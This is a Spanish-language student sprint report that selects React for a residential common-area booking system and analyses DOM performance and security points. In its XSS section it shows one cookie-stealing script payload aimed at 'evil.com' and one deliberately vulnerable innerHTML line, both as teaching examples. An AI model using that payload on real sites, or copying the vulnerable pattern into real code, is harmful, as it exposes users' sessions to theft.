INGENIERIA WEB

Universidad Manuela Beltran

Grupo A3 | 2026

SPRINT: ANALISIS DE PUNTOS CRITICOS DEL DOM

Proyecto: Sistema de Reservas de Zonas Comunes

Selección de tecnologías y análisis de vulnerabilidades aplicadas al proyecto

Integrantes
Juan Esteban Cabral Bautista
Manuel Santiago Osorio Feo
Oscar Fabian Forero Diaz
Docente:
Diana Marcela Toquica

1. Introducción y contexto del proyecto

El siguiente documento tiene el propósito de presentar la investigación técnica requerida para el sprint actual del proyecto de Ingeniería Web. El objetivo es analizar cinco puntos críticos relacionados con el rendimiento y la seguridad del DOM, determinando las tecnologías más adecuadas para el proyecto acorde al desarrollo y documentando las vulnerabilidades que cada punto crítico puede prevenir.

Dado que el proyecto consiste en un sistema web de reservas de zonas comunes para un conjunto residencial, el cual reemplaza el uso de formularios de Google. El sistema atiende dos tipos de usuario: Residente y Administrador, con funcionalidades de consulta de disponibilidad en tiempo real, gestión de reservas, notificaciones automáticas y control de acceso por roles.

2. Selección de tecnologías

Con base en las características del proyecto, se evalúan las siguientes opciones tecnológicas antes de definir la arquitectura frontend:

2.1 Comparativo entre frameworks para el frontend

Criterio	**React + Vite**	**Vue 3 + Vite**
Curva de aprendizaje	Media - requiere JSX	Baja - sintaxis clara
Ecosistema	Muy amplio (npm)	Amplio
Virtual DOM	Si (React DOM)	Si (Vue DOM virtual)
Manejo de estado	useState / Redux / Zustand	Pinia / Vuex
Componentes reutilizables	Si (JSX + props)	Si (SFC .vue)
SSR / hidratacion	Next.js disponible	Nuxt.js disponible
Soporte TypeScript	Completo	Completo
Librerias UI	shadcn/ui, MUI, Ant	Vuetify, PrimeVue

2.2 Tecnología seleccionada: React con Vite

Para este proyecto se selecciona **React 18 con Vite** como framework frontend, complementado con las siguientes tecnologías:

Capa	Tecnologia seleccionada
Framework UI	React 18 + Vite (compilacion rapida, HMR)
Estilos	Tailwind CSS (utility-first, responsive integrado)
Enrutamiento	React Router v6 (rutas protegidas por rol)
Estado global	Zustand (ligero, sin boilerplate excesivo)
Peticiones HTTP	Axios + React Query (cache y actualizacion en tiempo real)
Formularios	React Hook Form + Zod (validaciones sin re-renders innecesarios)

Calendario	React Big Calendar o FullCalendar React
Backend API	Node.js + Express o FastAPI (Python)
Base de datos	PostgreSQL (integridad referencial para reservas)
Autenticación	JWT + bcrypt (sesiones seguras, control de roles)

2.3 Justificación de la selección

React es la opción más adecuada para este proyecto por las razones técnicas que se exponen a continuación:

- El Virtual DOM de React minimiza operaciones directas sobre el DOM real, lo que es critico en la vista del calendario donde múltiples celdas cambian de estado (disponible, ocupado, bloqueado) en respuesta a peticiones al servidor.
- React Query permite manejar el estado del servidor con invalidacion automática de cache, garantizando que la disponibilidad mostrada al residente (RF-02) sea consistente con el estado real de la base de datos (RNF-08).
- React Hook Form evita el problema de re-renders excesivos en formularios complejos como el de solicitud de reserva, reduciendo operaciones de reflow en el navegador.
- El ecosistema de React dispone de librerias de calendario maduras que implementan correctamente Event Delegation para manejar interacciones sobre decenas de celdas sin registrar un listener por celda.
- La separacion de componentes en React impone naturalmente la separacion de responsabilidades entre logica de negocio, acceso a datos y presentacion.

---

3. Análisis de puntos críticos

3.1 Reflow y Repaint

Definición técnica

Un reflow (tambien llamado layout) ocurre cuando el navegador recalcula la posicion y geometria de los elementos del DOM. Un repaint ocurre cuando el navegador vuelve a dibujar pixeles en pantalla sin cambiar el layout (por ejemplo, cambiar un color de fondo). El reflow es significativamente mas costoso en terminos de rendimiento porque implica recalcular el arbol de renderizado completo o una parte de el.

Cuando se produce en el proyecto

En el sistema de reservas, las situaciones que pueden provocar reflow son:

- Insertar dinámicamente filas en la tabla del calendario al cambiar de mes (appendChild sobre el contenedor del calendario).
- Modificar el estilo de celdas del calendario (cambiar clases CSS de 'disponible' a 'ocupado') mientras otras celdas están siendo leídas por el navegador.
- Mostrar u ocultar el panel lateral de detalle de reserva cambiando la propiedad display de un elemento visible.

- Agregar notificaciones al DOM (toast/alertas) mientras el calendario esta renderizado.

Estrategias de mitigación con React

- React agrupa (batching) múltiples actualizaciones de estado en un solo ciclo de reconciliación del Virtual DOM, produciendo un unico reflow en lugar de uno por cada cambio de estado individual.
- Se deben utilizar clases CSS (className) para cambiar la apariencia de las celdas en lugar de modificar el atributo style directamente, ya que React maneja la aplicacion de clases eficientemente.
- Para listas o calendarios con gran cantidad de celdas, se puede aplicar virtualizacion con librerias como react-window, renderizando unicamente los elementos visibles en pantalla.
- Evitar leer propiedades del DOM como offsetHeight o getBoundingClientRect dentro de efectos (useEffect) que tambien escriban en el DOM, ya que esto fuerza reflows sincrono.

Vulnerabilidades que previene

La gestión correcta de reflow previene degradación del rendimiento (jank visual) en la interfaz del calendario, especialmente en dispositivos moviles de gama media donde el tiempo de renderizado es mayor. Esto atiende directamente los requerimientos no funcionales RNF-02 (rendimiento) y RNF-07 (compatibilidad movil).

3.2 Event Delegation (Delegacion de eventos)

Definición técnica

Event Delegation es un patrón de manejo de eventos que consiste en registrar un único listener en un elemento padre en lugar de registrar listeners individuales en cada elemento hijo. Esto es posible gracias al mecanismo de bubbling del DOM, por el cual los eventos generados en un elemento hijo ascienden (propagación) hasta los elementos ancestros.

Cuando se aplica en el proyecto

El calendario de disponibilidad puede contener entre 20 y 50 celdas por vista mensual, cada una representando un slot horario por día. Sin Event Delegation, cada celda requeriría un listener propio, lo cual genera:

- Consumo excesivo de memoria por la cantidad de funciones registradas en el heap de JavaScript.
- Recorridos del árbol DOM innecesarios al agregar o eliminar celdas (por ejemplo, al cambiar de mes).
- Riesgo de memory leaks si los listeners no se eliminan correctamente al desmontar componentes.

Implementación con React

React implementa Event Delegation de forma transparente para el desarrollador. En lugar de registrar listeners directamente en los nodos del DOM, React registra un unico listener en el contenedor raiz de la aplicacion (el elemento #root) y despacha los eventos sinteticos internamente. Esto significa que el siguiente codigo JSX no registra N listeners:

```
// React registra un solo listener en #root, no uno por celda
{slots.map(slot => (
  <div key={slot.id} onClick={() => handleSlotClick(slot.id)}>
    {slot.label}
  </div>
))}
```

Sin embargo, el desarrollador debe evitar el anti-patron de pasar funciones nuevas en cada render como props a listas largas. La solucion es usar useCallback para memorizar los handlers y evitar re-renders innecesarios en los items de la lista:

```
const handleSlotClick = useCallback((id) => {
  setSelectedSlot(id);
}, []);
```

Vulnerabilidades que previene

Event Delegation previene memory leaks por acumulacion de listeners y degradacion del rendimiento en interacciones sobre el calendario. Garantiza que agregar o eliminar celdas (al cambiar de mes o al actualizar disponibilidad en tiempo real) no requiera re-registrar listeners, cumpliendo con RNF-03 (rendimiento) y RNF-08 (integridad de datos en tiempo real).

3.3 Seguridad en innerHTML y prevencion de XSS

Definicion tecnica

Cross-Site Scripting (XSS) es una vulnerabilidad de seguridad web en la que un atacante inyecta codigo JavaScript malicioso en una pagina web visualizada por otros usuarios. La causa mas comun en JavaScript vanilla es el uso de innerHTML para insertar contenido que proviene de entradas del usuario sin sanitizar.

Superficie de ataque en el proyecto

En el sistema de reservas existen multiples puntos donde datos ingresados por el usuario se muestran posteriormente en la interfaz:

- El campo de motivo de cancelacion (Residente, RF-07) que puede visualizarse en el historial del Administrador.
- El campo de motivo de bloqueo de espacio (Administrador, RF-05) que se muestra al Residente cuando consulta disponibilidad.
- El nombre del apartamento o datos del residente mostrados en el panel del Administrador.
- Los mensajes de notificacion (RF-10 / RF-09) que pueden contener texto dinamico.

Riesgo con innerHTML en JavaScript vanilla

Un ejemplo de implementacion vulnerable seria el siguiente:

```
// VULNERABLE - no usar en el proyecto
document.getElementById('motivo').innerHTML = motivoCancelacion;
```

Si motivoCancelacion contiene la cadena <script>fetch('https://evil.com?c='+document.cookie)</script>, el navegador ejecutaria ese codigo con acceso a la sesion del usuario autenticado, comprometiendo las credenciales del Administrador.

Mitigacion con React

- React escapa automaticamente el contenido de las variables JSX antes de insertarlas en el DOM. El codigo {motivoCancelacion} nunca ejecutara scripts, ya que React convierte los caracteres especiales a entidades HTML.

- La prop dangerouslySetInnerHTML debe evitarse en todos los componentes del proyecto. Si llegara a ser necesaria (por ejemplo, para renderizar contenido enriquecido), se debe sanitizar el contenido previamente con la libreria DOMPurify.
- Todos los datos provenientes de la API deben validarse en el servidor antes de almacenarse. Se debe implementar sanitizacion en el backend (Express-validator o equivalente) para rechazar entradas con tags HTML.
- La politica de Content Security Policy (CSP) debe configurarse en el servidor para bloquear la ejecucion de scripts inline, reduciendo el impacto de cualquier XSS residual.

Vulnerabilidades que previene

La gestión correcta de innerHTML y la dependencia en el escapado automático de React previene ataques XSS que podrían comprometer las sesiones de Administrador (RNF-01), el robo de tokens JWT almacenados en memoria, y la manipulación de la interfaz para mostrar información falsa a los residentes. Esto atiende directamente RNF-01 (seguridad) y RNF-04 (privacidad).

3.4 Separación de responsabilidades (Separation of Concerns)

Definición técnica

Separation of Concerns (SoC) es un principio de diseno de software que establece que cada modulo o capa del sistema debe ser responsable de una unica preocupacion. En el contexto del frontend web, esto implica separar claramente la estructura (HTML/JSX), la apariencia (CSS) y el comportamiento (JavaScript/logica de negocio).

Problemas al mezclar capas

Mezclar lógica de negocio con presentación en el mismo componente produce los siguientes problemas en el proyecto:

- Un componente de celda de calendario que también realiza peticiones HTTP y valida reglas de reserva es difícil de probar, reutilizar y mantener.
- Los estilos escritos como objetos JavaScript en linea (style={{ color: 'red' }}) impiden el uso de variables CSS, media queries y pseudoclases, afectando la responsividad requerida en RNF-07.
- La logica de validacion duplicada entre componentes genera inconsistencias cuando las reglas de reserva cambian (RNF-08 del Administrador).

Arquitectura recomendada para el proyecto

Se propone organizar el proyecto en las siguientes capas con responsabilidades claramente delimitadas:

Capa	Responsabilidad
Componentes UI (/components)	Solo renderizado y eventos de usuario. Sin logica de negocio ni peticiones HTTP.
Paginas (/pages)	Composicion de componentes y conexion con hooks de datos.
Hooks personalizados (/hooks)	Logica de estado y efectos secundarios (useReservas, useCalendario).
Servicios (/services)	Peticiones HTTP a la API. Unico lugar con llamadas a Axios.
Validaciones (/schemas)	Esquemas Zod reutilizables para formularios y datos de API.
Estilos (/styles o Tailwind)	Exclusivamente apariencia. Sin logica condicional compleja en clases.

Contexto / Store (/store)	Estado global de sesion y rol de usuario (Zustand).

Vulnerabilidades que previene

La separacion de responsabilidades previene la proliferacion de logica de negocio en componentes de presentacion, lo cual podria generar inconsistencias en las reglas de reserva aplicadas en el cliente. Tambien facilita la auditoria de seguridad del codigo (RNF-05), ya que las validaciones y el manejo de roles se encuentran en capas especificas y no dispersas en la interfaz.

3.5 Acceso al DOM real vs. Virtual DOM

Definicion tecnica

El DOM real (Document Object Model) es la representacion en memoria del arbol de nodos HTML que mantiene el navegador. Cada operacion directa sobre el DOM real (lectura o escritura) puede ser costosa porque puede desencadenar reflows y repaints. El Virtual DOM es una abstraccion en memoria (un objeto JavaScript ligero) que React mantiene como representacion del estado actual de la interfaz. React compara el Virtual DOM anterior con el nuevo (proceso llamado reconciliacion o diffing) y aplica unicamente los cambios minimos necesarios al DOM real.

Impacto en el proyecto

En la vista del calendario de disponibilidad, el estado de cada celda puede cambiar en respuesta a:

- Una reserva aprobada por el Administrador (cambia de 'pendiente' a 'ocupado').
- Un bloqueo de espacio por mantenimiento (cambia de 'disponible' a 'bloqueado').
- La cancelacion de una reserva por el Residente (cambia de 'ocupado' a 'disponible').

Sin Virtual DOM, cada uno de estos eventos requeriria manipulacion manual del DOM real, con riesgo de inconsistencias si multiples actualizaciones llegan en un intervalo corto (condicion de carrera visual). Con React y React Query, el flujo es:

- React Query invalida la cache del calendario cuando la API reporta un cambio.
- React genera un nuevo Virtual DOM con el estado actualizado.
- El algoritmo de reconciliacion identifica solo las celdas que cambiaron.
- React aplica unicamente esos cambios al DOM real, minimizando reflows.

Cuando se permite acceso directo al DOM con useRef

Existen casos justificados donde se requiere acceso al DOM real dentro de React, para los cuales se utiliza el hook useRef:

- Enfocar automaticamente el campo de fecha al abrir el modal de reserva (mejora de usabilidad, RNF-01 del Residente).
- Leer dimensiones del contenedor del calendario para calcular el layout de las celdas.
- Integrar una libreria de calendario externa que requiere un nodo DOM como punto de montaje.

En estos casos, useRef es la unica forma aceptada de acceder al DOM real. El uso de document.getElementById o document.querySelector dentro de componentes React es un anti-patron que rompe el ciclo de vida de React y puede producir inconsistencias entre el Virtual DOM y el DOM real.

Vulnerabilidades que previene

El uso del Virtual DOM y la restricción del acceso directo al DOM real previene inconsistencias de estado visual (mostrar disponibilidad desactualizada al Residente), condiciones de carrera en actualizaciones concurrentes, y la acumulación de operaciones costosas de layout que degradan la experiencia en dispositivos móviles. Esto atiende RNF-02 (rendimiento), RNF-08 (integridad en tiempo real) y RNF-03 (disponibilidad del sistema).

4. Tabla resumen de puntos críticos y mitigaciones

Punto critico	**Riesgo en el proyecto**	**Mitigación con React**
Reflow / Repaint	Actualizaciones frecuentes del calendario generan recalculos de layout costosos.	Batching de React, cambios por className, react-window para virtualización.
Event Delegation	Fugas de memoria por X listeners en celdas del calendario.	React centraliza listeners en #root. useCallback para memorizar handlers.
innerHTML / XSS	Inyeccion de scripts en campos de motivo de cancelacion o bloqueo.	React escapa JSX automaticamente. Evitar dangerouslySetInnerHTML. DOMPurify si es necesario.
Separacion de responsabilidades	Logica de validacion dispersa genera inconsistencias en reglas de reserva.	Arquitectura por capas: components, hooks, services, schemas, store.
DOM real vs. Virtual DOM	Condiciones de carrera visual al actualizar disponibilidad desde multiples fuentes.	Reconciliacion de React + React Query. useRef solo para casos justificados.

5. Conclusiones

El análisis de los cinco puntos críticos del DOM aplicados al Sistema de Reservas de Zonas Comunes permite concluir que la selección de React como framework frontend no es arbitraria, sino que responde directamente a los requerimientos no funcionales del proyecto, en particular los relacionados con rendimiento, seguridad, integridad de datos en tiempo real y compatibilidad móvil.

React resuelve o mitiga cuatro de los cinco puntos críticos de forma intrínseca: implementa Event Delegation centralizado en el contenedor raiz, aplica batching para reducir reflows, escapa automáticamente el contenido JSX previniendo XSS, y abstrae el acceso al DOM real mediante el Virtual DOM y el algoritmo de reconciliación. El quinto punto, la separación de responsabilidades, es una responsabilidad del equipo de desarrollo que se formaliza mediante la arquitectura de carpetas y la convención de uso de hooks, servicios y esquemas de validación independientes.

6. Referencias

- Mozilla Developer Network. Document Object Model (DOM). https://developer.mozilla.org/es/docs/Web/API/Document_Object_Model
- React Documentation. Reconciliation. https://react.dev/learn/render-and-commit
- OWASP Foundation. Cross Site Scripting (XSS). https://owasp.org/www-community/attacks/xss/
- Google Web Fundamentals. Minimize Layout. https://web.dev/articles/avoid-large-complex-layouts-and-layout-thrashing
- React Query Documentation. https://tanstack.com/query/latest/docs/framework/react/overview
- React Hook Form Documentation. https://react-hook-form.com/
- Zustand Documentation. https://zustand-demo.pmnd.rs/